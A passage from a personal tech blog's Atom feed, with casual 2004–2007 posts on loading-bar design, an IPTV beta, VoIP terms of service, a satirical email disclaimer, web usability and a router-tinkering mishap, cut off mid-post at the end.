src='https://blogger.googleusercontent.com/tracker/12824632-5232439729219214124?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/5232439729219214124/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/02/just-remember.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5232439729219214124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5232439729219214124'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/02/just-remember.html' title='just remember'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-8571748929119391329</id><published>2007-01-30T09:36:00.001-05:00</published><updated>2010-03-04T10:44:54.018-05:00</updated><title type='text'>On UI Design</title><content type='html'>there seems to be a new trend in  user interface design that i am quickly beginning to hate. it's the replacement of the 'waiting' or 'loading' status bar with something that, rather than showing you how far along in the process you are, simply cycles back and forth a'la KITT's front end grille lights.&lt;br /&gt;&lt;br /&gt;an example of such an image can be seen in the &lt;a href="http://video.google.com/images/googleballs.gif"&gt;stupid image&lt;/a&gt; that google gives you while you upload a video to their service.&lt;br /&gt;&lt;br /&gt;it's very cute, and friendly, and has the google colors in it. i'm all for that. but it gives the user absolutely zero clue how much of the video has been uploaded, how much more they have to go, nor even a guess as to how long it may take to finish.&lt;br /&gt;&lt;br /&gt;(to be fair, google does start giving you a peptalk after you've been waiting a while ['Almost Done!']. whatever. that's not the same, nor as "satisfying". )&lt;br /&gt;&lt;br /&gt;i'm starting to see the same thing crop up elsewhere (ubuntu loading screen...)&lt;br /&gt;it's annoying.&lt;br /&gt;&lt;br /&gt;i want to see something useful while waiting, at the very least, i want to see something that makes me feel like i'm getting somewhere.&lt;br /&gt;&lt;br /&gt;going back and forth makes me feel like i'm just wasting time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-8571748929119391329?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/8571748929119391329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/01/on-ui-design.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8571748929119391329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8571748929119391329'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/01/on-ui-design.html' title='On UI Design'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-7122419794636640767</id><published>2007-01-24T13:20:00.000-05:00</published><updated>2007-01-24T13:21:37.919-05:00</updated><title type='text'>voiding your warranty</title><content type='html'>for the record.&lt;br /&gt;&lt;br /&gt;when attempting to short pins 16 &amp;amp; 17 on your wrt54GL wireless router, do *not* accidentally cut off pin number 16.&lt;br /&gt;&lt;br /&gt;it's just not a good idea.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-7122419794636640767?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/7122419794636640767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/01/voiding-your-warranty.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/7122419794636640767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/7122419794636640767'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/01/voiding-your-warranty.html' title='voiding your warranty'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-5951494402877674731</id><published>2007-01-08T22:00:00.001-05:00</published><updated>2010-03-04T10:44:32.083-05:00</updated><title type='text'>IPTV ... The Future Is Now, And It Sucks</title><content type='html'>so, i just got my beta login to &lt;a href="http://theveniceproject.com/"&gt;the venice project&lt;/a&gt; today.&lt;br /&gt;for those that don't know, it's an iptv product that's been getting some decent word of mouth amongst the community of folks that care about such things.&lt;br /&gt;&lt;br /&gt;i must admit, i was pretty psyched. until i "turned it on".&lt;br /&gt;&lt;br /&gt;iptv is cool, but it's got a serious drawback, which i think can best be summed up as "phenomenal cosmic powers ... itty bitty living space".&lt;br /&gt;&lt;br /&gt;the problem isn't the client. it's remarkably well designed in my opinion. there's some things that it doesn't seem to do which (to me) are a 'natural' way to use something like internet based television (for example, the ability to bookmark a particular show would be nice...), but hey, it's a beta, not all the bugs are worked out, and i've only had it for a day.&lt;br /&gt;&lt;br /&gt;i presume therefore that it's entirely likely the functions i'm looking for are there somewhere and i'm just missing them (which of course, could mean that the UI needs a bit of tweaking...)&lt;br /&gt;&lt;br /&gt;nor was the problem a lack of bandwidth (for me anyway) .&lt;br /&gt;i'm using roadrunner (via time warner cable) for an ISP, and while they are currently touting their download speed as 10Mbps (i wish!), my connection is doing just fine at a respectable 3.7Mbps.  there were a couple of times where the video halted for a second or two, but overall, i was quite impressed with the quality.&lt;br /&gt;&lt;br /&gt;no, the problem with iptv, is exactly the same problem as any other kind of tv. there's simply nothing good on.&lt;br /&gt;&lt;br /&gt;i flipped through all the channels with nothing catching my eye. so, i began randomly starting videos hoping to find something that sparked an interest.  i even managed to find out how to pull up a list of channels i wasn't currently seeing and add them to my available channels so that i could check out the shows on them.&lt;br /&gt;&lt;br /&gt;no luck.&lt;br /&gt;&lt;br /&gt;there's about 30 or so channels (i didn't take an exact count) ... each channel has at least 2 - 3 shows, some have many more (one nice thing about iptv is that pretty much everything is 'on demand' ... i must admit i've already become quite fond of that).&lt;br /&gt;&lt;br /&gt;so, let's say that there's roughly 120 'shows' currently available.&lt;br /&gt;out of those, there was exactly one show that interested me.&lt;br /&gt;&lt;br /&gt;most of the available shows were sports/fashion/"spin off of mtv spring break" type drivel, and i recognize that there is a large demographic for those types of shows.&lt;br /&gt;&lt;br /&gt;however, i have some serious doubt as to whether the demographic for "likes these types of shows" is the same as the one for "folks likely to be beta testing an iptv product"... i do know that i don't prefer to watch shows in those categories, but admittedly, i'm not your typical 'consumer'.&lt;br /&gt;&lt;br /&gt;of course, like i said, this is all new, and beta, and as such, it's very likely that the content will change quite a bit over the next 'X-amount-of-time' as the venture capital starts burning and the pr/marketing folks start spreading the love.&lt;br /&gt;&lt;br /&gt;but for now, i'm left wondering if i've seen the future of television, and there's still nothing to watch?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-5951494402877674731?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/5951494402877674731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/01/iptv-future-is-now-and-it-sucks.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5951494402877674731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5951494402877674731'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/01/iptv-future-is-now-and-it-sucks.html' title='IPTV ... The Future Is Now, And It Sucks'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-115997254032930168</id><published>2006-10-04T10:32:00.000-04:00</published><updated>2006-11-14T16:49:12.644-05:00</updated><title type='text'>word to the wise</title><content type='html'>when you find yourself sitting in your cube with a bagel and cream cheese, and no knife ... do *not* take the pair of rusty scissors, dump purell hand sanitizer on them, wipe them off with a napkin, and use the blade to spread the cream cheese on your bagel.&lt;br /&gt;&lt;br /&gt;it's just not very tasty.&lt;br /&gt;&lt;br /&gt;it turns out that, if you look inside the bag with your bagel, there's a knife.&lt;br /&gt;&lt;br /&gt;you just won't find that out until you crumple the bag up to throw it away after finishing and stab yourself.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-115997254032930168?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/115997254032930168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2006/10/word-to-wise.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/115997254032930168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/115997254032930168'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2006/10/word-to-wise.html' title='word to the wise'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-115990904046523660</id><published>2006-10-03T16:55:00.000-04:00</published><updated>2006-11-14T16:49:12.583-05:00</updated><title type='text'>good luck</title><content type='html'>not sure why, but for some reason, this pretty much sums up microsoft for me&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5425/372/1600/goodluck.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5425/372/320/goodluck.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-115990904046523660?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/115990904046523660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2006/10/good-luck.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/115990904046523660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/115990904046523660'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2006/10/good-luck.html' title='good luck'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-115754582393022201</id><published>2006-09-06T08:25:00.000-04:00</published><updated>2006-11-14T16:49:12.521-05:00</updated><title type='text'>nifty obsd stuff</title><content type='html'>ok, i'm switching to openbsd for my firewall based completely on the fact that they have &lt;a href="ftp://ftp.openbsd.org/pub/OpenBSD/songs/"&gt;songs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;my favorite ones are:&lt;br /&gt;&lt;a href="ftp://ftp.openbsd.org/pub/OpenBSD/songs/song36.ogg"&gt;ponderosa puff&lt;/a&gt;&lt;br /&gt;&lt;a href="ftp://ftp.openbsd.org/pub/OpenBSD/songs/song35.ogg"&gt;"CARP license" &amp; "redundancy must be free"&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;i don't care at all about the fact that it's (perceived to be) more secure than linux, nor that the ip stack is (theoretically) better. they have cool songs, so i'm switching.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-115754582393022201?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/115754582393022201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2006/09/nifty-obsd-stuff.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/115754582393022201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/115754582393022201'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2006/09/nifty-obsd-stuff.html' title='nifty obsd stuff'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-114860912230594117</id><published>2006-05-25T20:51:00.000-04:00</published><updated>2006-11-14T16:49:12.425-05:00</updated><title type='text'>Terms of Service</title><content type='html'>So, I've been using Vonage for my phone (landline) for the past 2 years or so, and I have been pretty happy with the service they provide. However, I am currently shopping for a new VoIP provider. &lt;br /&gt;&lt;br /&gt;I'm not doing this because I want cheaper service, nor am I doing it because Vonage outsources their tech support and the quality of said support is shoddy at best (though those things are in fact good reasons to switch in my opinion.)&lt;br /&gt;&lt;br /&gt;I am leaving because I want to play with &lt;a href="http://www.asterisk.org/about"&gt;asterisk&lt;/a&gt; and because Vonage only provides a locked ATA I am unable to do so while using their services for VoIP. (Yes, I know I can pay extra to get the soft phone and use the resulting SIP credentials to configure asterisk to work with Vonage; the point isn't that there's a workaround, the point is Vonage discourages its customers from using the VoIP service they have paid for in the manner that best suits them.)&lt;br /&gt;&lt;br /&gt;So, as I've been shopping around, I discovered &lt;a href="http://viatalk.com"&gt;ViaTalk&lt;/a&gt;. This company seems to have the services I'm looking for (flat monthly fee for unlimited US calling [I hate the per minute thing], call forwarding, voice mail, etc) at a price that is actually better than what I currently have with Vonage (about half the cost if I sign up for the 12 month plan.) Even better, they have a BYOD (“Bring Your Own Device”) plan specifically designed for folks that have asterisk or similar needs.&lt;br /&gt;&lt;br /&gt;Of course, I’m not one to just jump at the first thing that comes along, so I did a bit of research, and the general consensus amongst the net folk seems to be that ViaTalk is a decent provider, with very good customer support. A bit rough around the edges perhaps, but working hard to make things smooth (in fairness, they just ended the ‘beta’ version of their service last month). However, I noticed that even the folks which were talking about the “rough spots” were also talking about how impressed they were with the customer support ViaTalk showed.&lt;br /&gt;&lt;br /&gt;All in all, it sounded like a great deal. Being a geek, I don’t mind ‘a bit rough around the edges’, and am willing to live with needing to bounce the router every now and then to accommodate whatever changes have been made. (Especially since [in theory] now that the service is no longer beta this shouldn’t be much of an issue …)&lt;br /&gt;&lt;br /&gt;As part of my research, I even initiated a conversation with a ViaTalk Sales Rep using their online chat feature, and was very impressed with the knowledge, and most of all the genuine *humanness*, that I encountered. It was very refreshing.&lt;br /&gt;&lt;br /&gt;Just when I was convinced to go ahead and make the switch, I found a post on &lt;a href=”dslreports.com”&gt;DSLReports&lt;/a&gt; which warned about the ViaTalk Terms of Service.  Specifically, there is a line which reads: &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;ViaTalk may update this agreement at any time without notice and you are agreeing to such changes in advance.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now, I don’t know anyone, much less any geeks, who think that sounds fair. I can’t imagine any other type of binding document outside the software/tech industry which says “we can change this any time we feel like it, and you agree right now that whatever we say goes”.  I asked a few of my friends (also geeks) what they thought about it, and we were all in agreement:&lt;br /&gt;&lt;br /&gt;It’s ridiculous, and evil. &lt;br /&gt;&lt;br /&gt;Because of that one line, I’ve decided to wait a bit and see if I can find a VoIP provider which offers what I’m looking for at a price that’s right, and doesn’t have that type of line it their Terms of Service. However, I keep going back to ViaTalk, mostly because I’m having a tough time finding another company that seems stable (read, not fly-by-night and just jumping on the VoIP bandwagon cause it’s a Venture Capitalist buzzword of the day).&lt;br /&gt;&lt;br /&gt;So, I decided to contact ViaTalk again, using their web based chat once more. The main goal of this conversation (from my point of view) was to simply let them know that I was very interested in their products, but that their Terms of Service agreement was keeping me away.&lt;br /&gt;&lt;br /&gt;I spoke to a very nice representative, and stated the above right away. I also mentioned the fact that (in my opinion) VoIP is still a ‘geeks playground’ really, and that geeks tend to notice things like Terms of Service. I brought up the point that if I was discussing this with my friends, it was likely that others were as well, and that I had in fact discovered the offending line as a result of a posting to a web site where customers discuss their experiences with VoIP providers.&lt;br /&gt;&lt;br /&gt;To my delight, the sales rep actually said: &lt;blockquote&gt;I apologize for our ‘evil’ terms of service.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I mean, come on, if I hadn’t yet decided that I liked the way ViaTalk handled themselves, the sales rep saying that absolutely would have convinced me that they were the right choice. &lt;br /&gt;&lt;br /&gt;Not getting the runaround and a bunch of stupid corporate rhetoric earned them a whole lot of points in my book. (This of course brings up the possibility that perhaps geeks have a different standard than the average consumer when ascertaining whether a given company is ‘right’ for their needs …)&lt;br /&gt;&lt;br /&gt;I explained to the Sales Rep that is was quite alright, and really I was just looking to let someone know that, while I understand why they have that line there, at least one potential customer was still looking elsewhere because of it. Their representative told me that they had passed my concern on to their supervisor, and we ended the conversation on a positive note.&lt;br /&gt;&lt;br /&gt;Now, I bring this up, not because I wish to cast ViaTalk in a bad light for their Terms of Service. I am still extremely impressed with the interaction I’ve had with the company thus far. I am bringing all this up because of what I found today when, out of curiosity, I started looking at the Terms of Service other tech companies have :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Although we may attempt to notify you via your Gmail address when major changes are made, you should visit this page periodically to review the terms. Google may, in its sole discretion, modify or revise these terms and conditions and policies at any time, and you agree to be bound by such modifications or revisions. &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Yep, that’s correct. The above statement, which is almost exactly the same as the ViaTalk one, is from none other than Google’s Gmail &lt;a href=http://mail.google.com/mail/help/intl/en/terms_of_use.html&gt;Terms of Service&lt;/a&gt; agreement!&lt;br /&gt;&lt;br /&gt;Now, Google is beloved by geeks everywhere, and they are well known in the geek community for their motto “don’t be evil” (in reality, the motto is “You can make money without doing evil.” according to the &lt;a href=”http://www.google.com/intl/en/corporate/tenthings.html” &gt;Ten Things&lt;/a&gt; page of the Google website.)  How is it that such an evil line can slip into the Terms of Service of a product so widely used by geeks (and many others) without causing a stir?&lt;br /&gt;&lt;br /&gt;I don’t have an answer to that. But I am now forced to reconsider whether the right course of action for me to take is to stick with my principles and refrain from using Gmail as well as ViaTalk because of that line, or surrender and sign up with ViaTalk because hey, I've already agreed to a similar line elsewhere.&lt;br /&gt;&lt;br /&gt;I don’t really have an answer to that question yet either.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-114860912230594117?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/114860912230594117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2006/05/terms-of-service.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/114860912230594117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/114860912230594117'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2006/05/terms-of-service.html' title='Terms of Service'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-111627097025284605</id><published>2005-05-16T15:13:00.001-04:00</published><updated>2010-03-04T10:43:46.322-05:00</updated><title type='text'>Legal Disclaimer</title><content type='html'>So, I'm sick of reading emails that contain legal disclaimers at the bottom of them. More accurately, I'm sick of the legal paranoia we all live in that makes companies/individuals feel that having these disclaimers is important.&lt;br /&gt;&lt;br /&gt;In retaliation (futile, but I feel better) I've crafted one of my own devising. My favorite part is that it's so huge. Most of the emails I get are simple one or 2 line things ("hey, check this link out", "blah", or "i hate everyone, people suck", etc)&lt;br /&gt;&lt;br /&gt;This disclaimer will simply drown out the text of the actual message, and significantly increase the size of the message (significantly, if you're a mail router receiving hundreds of these a second [or more])&lt;br /&gt;&lt;br /&gt;Anyway, here it is. Enjoy.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;IMPORTANT WARNING:&lt;br /&gt;The presence of this message on your mail system indicates an awareness and acceptance of the terms and conditions of this warning. &lt;br /&gt;&lt;br /&gt;This message is intended solely for the use of the person or entity to which it is addressed and may contain information that is privileged and confidential, the disclosure of which is fully governed by aplicable law. In the event that no law is applicable to govern the disclosure of this message, one will be created at the discretion of the legal rights holder of the contents of the message.&lt;br /&gt;&lt;br /&gt;If the reader is not the intended recipient (or the employee or agent responsible for delivering it to the intended recipient) you are hereby notified that you are not the intended recipient, and therefore not entitled to the use of this message.&lt;br /&gt;&lt;br /&gt;In the event that you are the employee or agent responsible for delivering it to the intended recipient, you are entitled to the use of this message solely for the  purpose of delivering it to the intended recipient.&lt;br /&gt;&lt;br /&gt;ANY dissemination, distribution or copying of this information is STRICTLY PROHIBITED, including the dissemination, distribution, or copying of this warning; even for the purposes of verifying the legal validity of the claims made herein. Included in "dissemination", "distribution", and "copying" are the acts of "forwarding" the message to other parties, as well as "replying" to it.&lt;br /&gt;&lt;br /&gt;If you have received this message in error, please notify us immediately, by sending an email to thoughtpolice@miniluv.gov and destroy the related message.&lt;br /&gt;&lt;br /&gt;Thank You for your cooperation.&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-111627097025284605?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/111627097025284605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2005/05/legal-disclaimer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111627097025284605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111627097025284605'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2005/05/legal-disclaimer.html' title='Legal Disclaimer'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-111620929758703578</id><published>2005-05-14T01:03:00.002-04:00</published><updated>2010-03-04T10:42:02.199-05:00</updated><title type='text'>Use and Useability</title><content type='html'>so, i've recently come to (what is to me) a brilliant realization.&lt;br /&gt;&lt;br /&gt;information that is not readable, is not useful.&lt;br /&gt;&lt;br /&gt;now, you may be saying "well, duh" (and it's OK if you are) but now that you've mocked my intelligence, try this.&lt;br /&gt;&lt;br /&gt;start paying attention to how readable the sites you're visiting on the web are.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;do you have to close 50 pop up ads to find the article you're trying to see?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;after you've closed those ads, are there so many other ones embedded on the page that you still can't find the article, or, if you can, you can't pay any attention to it?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;on the other extreme, do you have to stare at a huge block of text with no paragraph breaks for 30 minutes before giving up in frustration because, no matter how hard you try, there's just no way you can make sense out of the massive wall of verbage you're confronted with?&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;once you start paying attention, you may be surprised as you discover that a whole lot of the 'information super highway' is paved over by billboards these days.&lt;br /&gt;&lt;br /&gt;and we're not talking some huge gaudy thing on the side of the road ... oh no.&lt;br /&gt;&lt;br /&gt;these things are smack down the middle of it, crossing all 4 lanes, and to make mattters even worse, you will often be expected to pay/subscribe/sell-your-soul so that you can have the privilege of running into them as hard as you can while you travel.&lt;br /&gt;&lt;br /&gt;that's just plain dumb.&lt;br /&gt;&lt;br /&gt;and there's probably a whole lot more i could ramble on about that is related to this topic, but it's pretty late, and i just got distracted by &lt;a href="http://www.thinkgeek.com/cubegoodies/toys/722a/"&gt;these&lt;/a&gt; after clicking on an ad for thinkgeek.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-111620929758703578?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/111620929758703578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2005/05/use-and-useability_14.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111620929758703578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111620929758703578'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2005/05/use-and-useability_14.html' title='Use and Useability'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-111584009361832855</id><published>2004-10-29T01:09:00.001-04:00</published><updated>2010-03-04T10:40:53.666-05:00</updated><title type='text'>On Being An Artist</title><content type='html'>I had an interesting conversation with a co-worker yesterday.&lt;br /&gt;Before I get to that though, here's some background:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;I'm getting ready to leave the company I've been working at for the past 5 (almost 6) years, and move on&lt;/li&gt;&lt;br /&gt;&lt;li&gt;There is a major rollout underway currently which I have been heavily involved in, and which is in its infancy.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;This project, if architected correctly could have a dramatic impact on the company, and completely change the way the business runs.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;This company has had a pretty rough time of it for the past 3 years or so, and there was recently yet another wave of layoffs.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Bottom line is, at the moment, I'm the only one left of the folks that did the research and initial architecture for this project. So, now that you know all that, back to the conversation.&lt;br /&gt;&lt;br /&gt;It went, at one point, something like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;    Me: I'm trying to explain why what we have is wrong, and let you know that I understand what the business is attempting to accomplish, but this needs to be redone before we can do anything.&lt;br /&gt;&lt;br /&gt;    Co-Worker: Well, you need to understand that I have to take everything you say with a grain of salt, because you're a short timer and on your way out the door. What you're saying may be right, or it may not, but I've got to question what you're saying, because why should you care ?&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This was a very interesting question to me, and I've thought about it for the past day. As I've tossed it around in my head I came to realize two things, though I think they are actually the same, just twisted differently:&lt;br /&gt;&lt;br /&gt;   1. This person has not got any clue how I think.&lt;br /&gt;   2. Geeks and Managers will never understand each other.&lt;br /&gt;&lt;br /&gt;After coming to those conclusions I realized why I cared.&lt;br /&gt;I'll give you a hint: It isn't because it will help the company.&lt;br /&gt;&lt;br /&gt;I care because it's the technically correct thing to do.&lt;br /&gt;&lt;br /&gt;See, tech is an artform to me.&lt;br /&gt;Since I have an artistic background, I actually consider it an extension of my talent; basically, 'geek' is another medium for me just like 'pen and ink', etc.&lt;br /&gt;&lt;br /&gt;I want this done right because 